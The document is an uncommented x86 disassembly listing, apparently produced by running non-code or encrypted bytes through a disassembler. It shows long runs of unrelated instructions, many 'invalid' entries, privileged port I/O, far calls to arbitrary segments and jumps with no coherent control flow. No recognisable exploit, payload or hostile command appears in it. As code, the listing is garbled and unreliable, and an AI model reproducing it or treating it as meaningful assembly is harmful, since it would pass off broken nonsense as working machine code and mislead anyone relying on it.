sar byte [ecx], 1
inc esp
salc
push ds
xchg edi, eax
stosd dword es:[edi], eax
push ebx
psrlw mm4, qword [ecx + edx*2 + 5]
mov byte [0x88653d9d], al
call 0xb6c3ef3e
xlatb
daa
loop 0x68878dde
push eax
nop
int3
sbb ebx, eax
sbb byte [esi + 0x44], bh
jle 0x68878db9
mov dword [0x7ac3a555], eax
mov ecx, 0xcf9e15b5
loope 0x68878d47
in al, 0x9b
invalid
mov ah, byte [ecx]
aam 0xf6
xor al, 0x2c
pop ebp
cwde
inc eax
out dx, al
salc
popal
push 0x80f4
std
mov bh, byte [ebx + ebx]
jp 0x68878daf
adc al, 0xcf
aad 0xd0
jge 0x68878e23
inc esp
mov esp, ebx
xchg dword [eax + 0x7f], ebp
cmpsd dword [esi], dword es:[edi]
nop
test al, 0xae
lahf
mov ah, byte [ecx + 0x5e]
dec ebx
mov dl, 0x30
lcall 0xfe63, 0xd1c3937e
loope 0x68878e1f
jle 0x68878d73
ret
push esi
add dword [eax + 0x5b1ff4b7], ebx
cwde
mov bh, 0xf4
pop ds
pop ebx
retf
mov ss, word [0x166b4084]
push eax
inc eax
imul edx, dword [esi], 0x50
dec ebp
jbe 0x68878e84
nop
add byte [esi + edx*2 - 0x6e], cl
adc byte [edx - 0x3c49b557], bh
and byte [edx + ecx*8], cl
test eax, 0x20c3b64a
or al, 0xca
das
stosd dword es:[edi], eax
cmp dl, byte [ebp + 0x7a]
and dword [edi], 0x3f9c062d
fld dword [esi - 0xd734171]
pop edx
dec edx
jbe 0x68878de8
pop edx
aad 0xbd
sub ecx, eax
mov esi, 0xe6055192
mov esi, 0x8fe8e6c4
sub eax, dword [ebx - 0x43336f0f]
mov cl, 0x89
jle 0x68878e6d
mov ss, word [eax + 0x1b9feef6]
int1
mov bl, 0x50
sbb dword [edx + 0x76], edx
dec esp
call 0xe0315d25
inc ecx
or dword [ebx + 0x2357bf41], esp
jle 0x68878e28
jno 0x68878e31
inc esi
enter 0xffffffffffffa49b, 0x37
push ecx
rep stosd dword es:[edi], eax
aam 0xb
pop ss
movsb byte es:[edi], byte [esi]
sal dword [eax + ebx*8 - 0x5651beae], 1
pop esi
inc ebx
cmp eax, 0x720299c
cmpsd dword [esi], dword es:[edi]
cmp dword [edx], edx
fbld tbyte [eax - 0x4a]
lds edx, [edi]
leave
xor dword [eax + 0x26532fce], 0xe949439f
adc eax, dword [ebx]
in eax, dx
push ds
rol byte [edi + esi*4 - 0x6b1b520], 0x88
xlatb
sub al, 0xb6
out dx, eax
std
jg 0x68878e73
inc ebx
dec ecx
jmp 0x877491c7
inc edx
idiv ch
adc ecx, ebx
sub eax, 0xf0409aa4
xor byte [eax + 0x3cc1c3a9], cl
jg 0x68878ead
out dx, al
wait
cdq
xchg esp, eax
into
mov byte [0x388614b5], al
fist word [esi + edi - 0x36e4c5af]
or al, 0xdf
dec ecx
xlatb
and edi, dword [eax]
clc
xchg ebp, eax
xor eax, 0x29f59584
cwde
mov ebx, 0x586a02b
cmp edx, ecx
aad 0x23
invalid
int3
cmp eax, 0x5fed0668
and dl, al
xor dword [eax + ebx*8], ebx
jo 0x688797de
out dx, eax
xchg edi, eax
xor ebx, dword [eax + 0x15aa92a2]
inc ecx
inc esi
cmp al, 0x53
in al, dx
aam 0x2e
jl 0x68879804
inc byte [edx - 0x77]
cwde
sub al, 0xe7
cdq
dec ebp
jecxz 0x6887983e
mov ebp, esi
xchg edx, edi
push 0xe0bfeaa6
or dword [edx], esp
inc byte [edi]
inc esp
xor dword [eax + 0x63], ebp
push eax
or edi, dword [esi - 0x42]
jle 0x688797ca
insb byte es:[edi], dx
imul edi, dword [ecx], 0xffffffbd
fimul dword [ebx + 0x2ccdbc9f]
jmp 0x68879815
sub al, 0xeb
std
sbb esi, dword [ecx + 0x4c]
pop edi
lahf
pop ebx
mov ch, byte [ebx - 0x55168763]
fidiv dword [ebp + 0x7e]
push esi
sub dword [edi + esi*2], eax
mov al, 0x5f
in al, dx
pop ds
ficom dword [esi]
out 0xa5, al
lodsb al, byte [esi]
idiv dh
pop ecx
mov bl, 0xbe
jns 0x68879810
sbb cl, dl
js 0x6887980a
retf
jnp 0x688797dc
les edi, [edx]
stc
push ebp
push ebp
cmpsb byte [esi], byte es:[edi]
and dl, byte [ecx + ecx*8]
daa
retf
xor al, 0xcc
or edi, dword [ebx + 0x7dbf4cef]
sbb ecx, dword [ebx]
adc dword [eax], 0x5b86701c
jno 0x6887a23c
sbb al, 0x70
xchg byte [ebx + 0x71], bl
cli
push esp
sal dword [ecx + 0x77], 0x84
cmp bx, word [edi]
cmp al, 0xf7
dec edi
adc ecx, dword [ecx + 0x208b2a18]
daa
jb 0x6887a2cb
dec edx
lodsb al, byte [esi]
stc
pop es
std
adc al, ch
aad 0x65
or ch, 0x55
adc edi, 0xffffffd1
or ecx, esi
wait
jle 0x6887a2be
int3
loopne 0x6887a24d
cdq
xlatb
xchg edi, eax
sar byte [edx], 1
add esi, esi
push 0x21
xchg esi, eax
sti
xchg ebp, eax
push 0x54ada4b2
cmp edi, dword [ecx + 0x3a]
inc edi
jl 0x6887a2b1
pop es
mov bl, 0x25
xor dword [edi + 0x3b98140b], ecx
add al, al
mov al, byte [0x44b0d113]
mov esp, 0x7c036f10
cmp eax, dword [eax]
shl byte [eax + 0x44b0d113], 0xbc
adc byte [edi + 3], ch
jl 0x6887a2c6
pop es
mov esp, 0xe2c0f0b9
cmpsd dword [esi], dword es:[edi]
test al, 0x8c
dec eax
adc bh, byte fs:[edi]
mov word [eax + 0x3e], cs
adc bh, byte fs:[edi]
aas
cmp bh, al
jo 0x6887a34f
fisttp dword [ebp - 0x68e37075]
cmp eax, 0xa61916c8
push ebx
aam 0x28
inc ebx
xchg dword [ecx], ebx
mov bl, 0x72
adc ecx, dword [edi - 0x8803b44]
outsb dx, byte [esi]
aam 0xf3
cmp edx, dword [edx + 0x20]
popal
add esp, edx
pop ecx
loope 0x6887a28f
dec ebx
jno 0x6887a369
inc edi
add ebp, dword [esi]
mov eax, 0xbe93f19a
retf 0xc024
inc ebx
adc eax, 0xdac566ed
adc al, 0x73
into
adc dword [0x81ac911f], esp
test byte [ebp - 0x70], ch
int3
and dl, byte [edi]
adc al, 0x88
inc edi
jg 0x6887a30e
aam 0xa0
invalid
shr ecx, 0x7e
pushfd
div esp
xor eax, 0x499b15e
out dx, eax
cdq
add al, 0xef
retf
fbld tbyte [eax + 0xc]
pop ebx
or al, 0x5b
jnp 0x6887a34d
xchg byte [eax], ah
add eax, 0x8f235ba2
jle 0x6887a379
xchg ecx, eax
cwde
xor al, 0x7b
jg 0x6887a35c
mov bh, 0x40
test eax, 0x64c03c2d
push cs
inc ecx
out dx, al
jo 0x6887a3ae
js 0x6887a340
jg 0x6887a32a
mov eax, 0x4c73fde3
jecxz 0x6887a371
std
jae 0x6887a3c2
out dx, eax
pop ss
wait
pop ds
sahf
pop esi
lodsd eax, dword [esi]
outsd dx, dword [esi]
or esp, eax
cmpsb byte [esi], byte es:[edi]
jno 0x6887a373
fcomp qword [ebx - 0x44e19e09]
push ecx
jge 0x6887a337
push esi
and al, 0x76
pop edi
movsd dword es:[edi], dword [esi]
and edx, edi
jmp 0xf6fcd54a
lds edi, [ebx]
sal al, cl
out dx, eax
jo 0x6887a3e0
lodsd eax, dword [esi]
push edi
ja 0x6887a3bb
sbb eax, 0x16bd108f
adc byte [ebp - 0x70f301ea], bh
push ss
dec byte [edi + ecx*4]
jnp 0x6887a3d0
or eax, 0xab96305a
cmpsb byte [esi], byte es:[edi]
mov al, byte [0xeeaf2050]
stc
sbb eax, dword [ebp - 0x39]
fnstsw ax
pop edx
xor byte [esi + 0x50a0a6ab], dl
and byte [edi + 0x451bf9ee], ch
invalid
fnstsw ax
jl 0x6887a3d2
lodsb al, byte fs:[esi]
jl 0x6887a3bd
into
push 0x82bfe64d
stosb byte es:[edi], al
add byte [edx + esi*8 + 0x55], cl
mul dword [esi]
aas
adc byte [ebx + 0x29], dl
dec edx
xchg dl, ch
jecxz 0x6887a44a
xchg ecx, eax
and edi, dword [esp]
rol bl, cl
sub ah, ch
in eax, 0xbe
push eax
sar bl, 0xfb
xor eax, dword [edx + edx*8]
dec ebx
retf
in eax, 0x3f
ret
xchg edx, eax
insd dword es:[edi], dx
and al, 0xd6
and dword [ebx], 0x939a5ee2
pushfd
xchg esi, eax
xor ebp, dword [ebp - 0x1fbdcbdd]
aam 0x2d
invalid
in eax, dx
bound edx, qword [esi + ebp*8 + 0x64]
mov dl, 0xa7
out 0xce, al
and bl, ch
push edx
insd dword es:[edi], dx
xchg ecx, eax
pop es
sub al, 0x99
int1
push 0x201ccb8e
or eax, 0x222b3200
mov dword [ebx - 0x1c016cdb], ebx
and ebx, dword [esi - 0x6a]
xchg dword [esi - 0x42], ebx
aaa
dec edi
mov edx, 0x54ce9810
loopne 0x6887b776
movsb byte es:[edi], byte [esi]
fbstp tbyte [ebp + 0x74]
fcomp qword [ecx]
cmc
push ds
invalid
ret 0xad6f
cmp al, 0
emms
fsubr st(6)
test ebx, 0x4cb9f92b
and dword [ebp - 0x16], esi
xchg esp, eax
invalid
fisub word [edx - 0x5920bb60]
invalid
push ebp
lodsd eax, dword [esi]
push esi
loop 0x6887cb0a
sub al, 0xf4
sbb cl, byte [ecx]
mov al, 0x45
movsd dword es:[edi], dword [esi]
push 0xffffffffffffff9f
imul esp, dword [esi + 0x596ea6f8], 0x1482b5d6
xlatb
in eax, 0xe
jecxz 0x6887cbc1
add dh, byte [edi]
sub ebx, dword [ebp + 0x7a835108]
or esp, edx
dec ebp
aad 0x4e
pushal
dec eax
adc eax, 0xca10b112
pop esp
aas
xchg ebx, eax
sub edx, ebx
cmp byte [edi - 0x70], cl
int3
pushal
mov bh, 0x14
xchg edi, eax
cwde
movsb byte es:[edi], byte [esi]
nop
pop ss
mov eax, 0xc2970d8d
neg dword [esi + 0x7e]
cmp eax, 0x30d72f78
sbb al, 0xbd
mov ah, byte [eax]
inc esi
mov dword [ebx - 0x27b18b4d], edi
sub ah, byte [eax - 0x5b]
jg 0x6887cb70
out 0x87, eax
xor byte [ecx - 0x111fb360], dl
pop edx
lcall 0x8301, 0xc8cbb34c
cmpsd dword [esi], dword es:[edi]
dec esp
mov bl, 0xcb
enter 0xffffffffffff8301, 0xffffffffffffffa7
adc eax, edi
jne 0x6887cc3e
jnp 0x6887cc0c
in al, 0x17
retf
push ss
mov esp, 0x1af2338a
popal
dec edi
sbb ah, byte [ecx + 0x4f]
inc dx
pop es
salc
jae 0x6887cc08
mul dword [0xa12bb226]
add ebx, ebp
sal dword [ecx], 0x83
jne 0x6887cbe1
sbb eax, 0x854906f
mov dword [0x63758344], eax
xor byte [ebp + 0x46], al
mov esp, 0x155bfb66
jo 0x6887cc7b
push eax
cdq
push ebp
and ecx, edi
inc ebx
and al, 0xca
xchg esi, eax
xor byte [edx + 0x44], dh
and eax, 0x6820d373
xor edx, dword [edx]
pop esp
jge 0x6887cc94
retf 0x3096
push edi
push esp
sub dword [edi - 0xf], eax
movsd dword es:[edi], dword [esi]
sub eax, dword [ebx - 0x65f4da2b]
push ds
push esi
mov ah, 0xcc
salc
add dh, byte [eax + 0x3d]
outsd dx, dword [esi]
xor bl, 0xa5
jg 0x6887ccdb
aad 0x90
aaa
mov edi, 0x7bf2e02f
in al, dx
clc
cmp eax, 0x821a710
test esp, esp
adc esp, dword [edx - 0x6c]
xchg esp, eax
int3
pop edi
dec ecx
hlt
xchg esp, eax
sbb al, 0x21
sub al, 0x8b
add byte [ebp + 0x53], bh
mov ebx, 0xbc43ca3f
mov ch, 0x6a
dec esi
lea esi, [edi - 0x5c382b37]
adc edi, 0x9ab3f66
out dx, eax
out 0x2c, eax
sub bl, byte [ecx + 0x1623c5d5]
lds esp, [ebx]
push ss
test eax, ecx
ja 0x6887ccb8
xchg edi, eax
idiv dword [eax + 0x104840cf]
and bh, ch
popfd
cmc
mov ebx, 0xca356656
movsd dword es:[edi], dword [esi]
inc ebx
cmp eax, 0x89069695
xor al, byte [edi]
sub esi, dword [eax + esi - 0x55]
jae 0x6887cd66
dec edi
xchg esp, eax
lodsb al, byte [esi]
sub bl, byte [esi - 0x5c]
into
pop ebp
das
out dx, eax
push ds
invalid
cmp dl, byte [ebp - 0x75e54799]
pop ecx
xchg edi, eax
cwde
inc edi
push ebp
pop esi
xchg dword [ebx + 0x48], ecx
jmp 0xa300d714
scasd eax, dword es:[edi]
clc
adc dword [ebx + esi*4], edi
mov edx, 0x4d3e6f7d
ja 0x6887cdcc
outsd dx, dword [esi]
js 0x6887cd0f
test al, 0x6e
invalid
ror dword [esi + 0x42], 1
mov dword [eax], ecx
or ch, byte [eax]
scasd eax, dword es:[edi]
cmp eax, 0x77f8374d
retf 0xe8b7
aas
stc
pop esi
invalid
adc esp, ecx
salc
pushal
dec ebp
xor edi, dword [ebx - 0x14]
imul ebx, dword [edx], 0x3d
adc dword [ebx + eax], eax
cmp dword [eax - 0x383c8c1d], 0x51
jo 0x6887e0c4
cwde
lodsd eax, dword [esi]
adc al, 4
mov esi, 0x74b0f06d
push 0xffffffffffffffa8
mov word [ecx], ds
pop ds
rcl dword [edi]
or ch, byte [ebp - 0x7d86b2f3]
or eax, eax
cmc
adc dword [eax + 0x2c], edx
pop ecx
arpl word [eax + 0x41], cx
jns 0x6887e0c4
sbb ebp, dword [ebx]
mov edi, 0xf7306d73
xor byte [ebx + 0x24], al
mov byte [ecx], bl
je 0x6887e0b0
div dword [eax]
inc ebx
and al, 0x88
sbb dword [eax + edi*8 - 0x53], esi
lodsd eax, dword [esi]
xchg dword [esi], ebp
mov esi, 0xaaccd3e
sub eax, 0x669af138
pop eax
pop ax
dec ebx
lcall 0xe4db, 0x14888e3b
push ecx
mov edi, 0x734716a8
fcomp st(3)
adc dword [ebx], 0x5e
jb 0x6887e123
loop 0x6887e0a0
inc esp
scasb al, byte es:[edi]
nop
xor dword [edi + 0x4a], 0xffffffc5
inc ecx
lcall 0xb41a, 0xbc62caa6
xchg ecx, eax
mov eax, 0xb9b33469
xor byte ss:[eax - 0x42], bh
out dx, eax
mov edx, 0xfcc83f94
scasd eax, dword es:[edi]
xor edi, dword [ecx - 0x5c]
push ss
mov bl, byte [edx - 0x45]
fstp qword [edi - 0x43]
xor dh, byte [ebp - 0x59]
int 0x2a
adc byte [ecx - 0x59], bl
loopne 0x6887e096
xchg esi, eax
je 0x6887e0de
mov bl, 0xb5
int3
cmpsb byte [esi], byte es:[edi]
mov dh, 0xdd
pushfd
cmp esp, dword [eax + ebp*4]
adc eax, 0x83e2b7f1
mov cl, 0x1f
sub dword [ebx + 0x38a1865a], edx
loope 0x6887e159
mov eax, dword [0x2c20e138]
pop ds
sub al, 0x1f
test byte [ecx + 0x1565d9d4], dh
xor byte [eax - 0x44], bl
sahf
pop ss
pop edi
lodsd eax, dword [esi]
sbb eax, 0x3892ab8b
mov dword [ecx + 0x7e1c477f], esi
jb 0x6887e0e6
mov es, word [edx + 0x25]
jbe 0x6887e1a1
inc edi
xchg esi, eax
sbb dh, al
add eax, 0x49cc9025
loopne 0x6887e1b3
or al, 0x1b
sub byte [ecx - 0x59532c32], dh
xchg ebp, eax
xchg byte [eax - 0x42bc8a28], bl
push ss
pushal
test eax, 0x9ebc3924
cmp al, 0x1e
xchg esi, eax
aad 0x22
xchg ebx, eax
jo 0x6887e1b0
invalid
fst qword [esi - 0x68]
push esi
jg 0x6887e135
cmpsb byte [esi], byte es:[edi]
test byte [ecx - 0x1ac11682], dh
ficomp dword [ecx - 0x16]
retf 0x80f7
ljmp 0x182b:0xf080f7ca
xor al, 0x2b
sbb dh, ch
retf 0x208e
invalid
pop ss
lcall 0x636, 0x76e9364c
xor ecx, edx
mov ch, 0xad
pop ebp
xlatb
and edx, dword [eax + 0x2f]
rcr byte [ebp - 0x1015d9f3], 1
push cs
das
push esp
ror byte [esi - 0x15], cl
mov ebx, 0x928f6d11
push edx
xor al, 0x32
invalid
invalid
movsb byte es:[edi], byte [esi]
pop ds
add edx, dword [esi]
xchg ebp, eax
add eax, 0xcc7bf4eb
push ds
jle 0x688809ca
wait
movsd dword es:[edi], dword [esi]
pop ebp
and ebx, dword [eax + ebp*2]
test eax, 0xfb0ef6b8
lahf
and al, dh
sbb al, 0xa1
sahf
scasb al, byte es:[edi]
push es
and dword [ebx], edx
adc eax, 0xa3b4fc98
shl cl, 0x78
xor eax, 0xf86f18d8
mov dword [0x3578e1c0], eax
fcomp dword [eax]
outsd dx, dword [esi]
clc
mov byte [0x80fb1453], dh
lds edi, [eax - 0x32af3f9f]
push es
pop es
scasb al, byte es:[edi]
mul byte [ecx - 0x5e]
adc byte cs:[ecx - 0x5d], 0x2a
loope 0x688809a0
invalid
sbb byte [edx], bl
rdpmc
invalid
jmp 0x68880979
adc dword [ebx + eax*2 - 0x2a], edi
fsubr qword [ebx + ebp*2]
invalid
sub edx, dword [edx]
and al, 0xc
sbb ebp, dword [edi]
retf
cmp dl, cl
mov al, 0x50
ja 0x6888288a
jae 0x68882876
jns 0x688828b2
adc cl, byte [edi]
in al, 0x45
mov al, 0x98
mov eax, dword [0x320f37da]
dec esi
inc edi
in al, 0xc3
push edx
inc ebx
mov bl, 0xcd
xchg byte [ecx], dl
and bh, byte [ecx - 0x22]
ljmp 0x5219
cmpsd dword es:[esi], dword es:[edi]
mov eax, 0xfe8c5af6
jns 0x6888287d
push es
xchg bh, dh
jb 0x688828bd
popal
das
inc ecx
shl dword [esi - 0x660d472c], 0x62
invalid
dec edx
rcl byte [ebp - 0x4fd6ec19], cl
mov ch, byte fs:[esp + edi*4 - 0x1a]
fsetpm
fsubr qword [eax + 0x35]
loopne 0x6888286e
aad 0xa4
in al, 0x46
jnp 0x68882832
jb 0x688828bc
push eax
jecxz 0x68882879
out 0x78, eax
xchg ecx, eax
out 0x80, al
leave
mov ch, 0x11
cwde
or ebx, dword [ebx + 0x4007af6a]
or cl, 0xb5
adc dword [eax - 0x509564f5], ebx
wait
push 0xffffffffffffffaf
pop es
inc eax
push ecx
and byte [edi + 0x4968bf70], ch
push 0xd894fe49
mov dl, 0xc0
adc bh, byte [eax + 0x78]
inc esp
leave
test al, 0xa3
inc edi
dec ebp
or byte [edx], 0x72
add ecx, ecx
xor eax, 0xcd9a632e
cwde
xchg edx, eax
inc ecx
arpl word [esp + ecx], sp
popfd
mov ch, 0xc
outsd dx, dword [esi]
sbb eax, 0x9b42dd49
out 0xa9, eax
pop ebp
mov dword [0x32c3071c], eax
push ebx
jmp 0x688828ac
dec ecx
invalid
jbe 0x688828a1
pop ds
mov ebp, 0x3b6b13b9
dec eax
popfd
outsd dx, dword [esi]
adc eax, 0x91e6ddc9
mov ecx, 0x1e5556bc
invalid
jbe 0x6888334f
out 0x38, al
push ecx
sub al, 0x4a
pop ds
mov bl, 0xd6
ret
add al, 0x36
ja 0x688833a9
xchg ecx, eax
loope 0x6888332f
fucompi st(2)
or eax, 0x9388d332
fstp xword [edi + 0x76c4ec4d]
invalid
ljmp 0xf393:0x88d3320d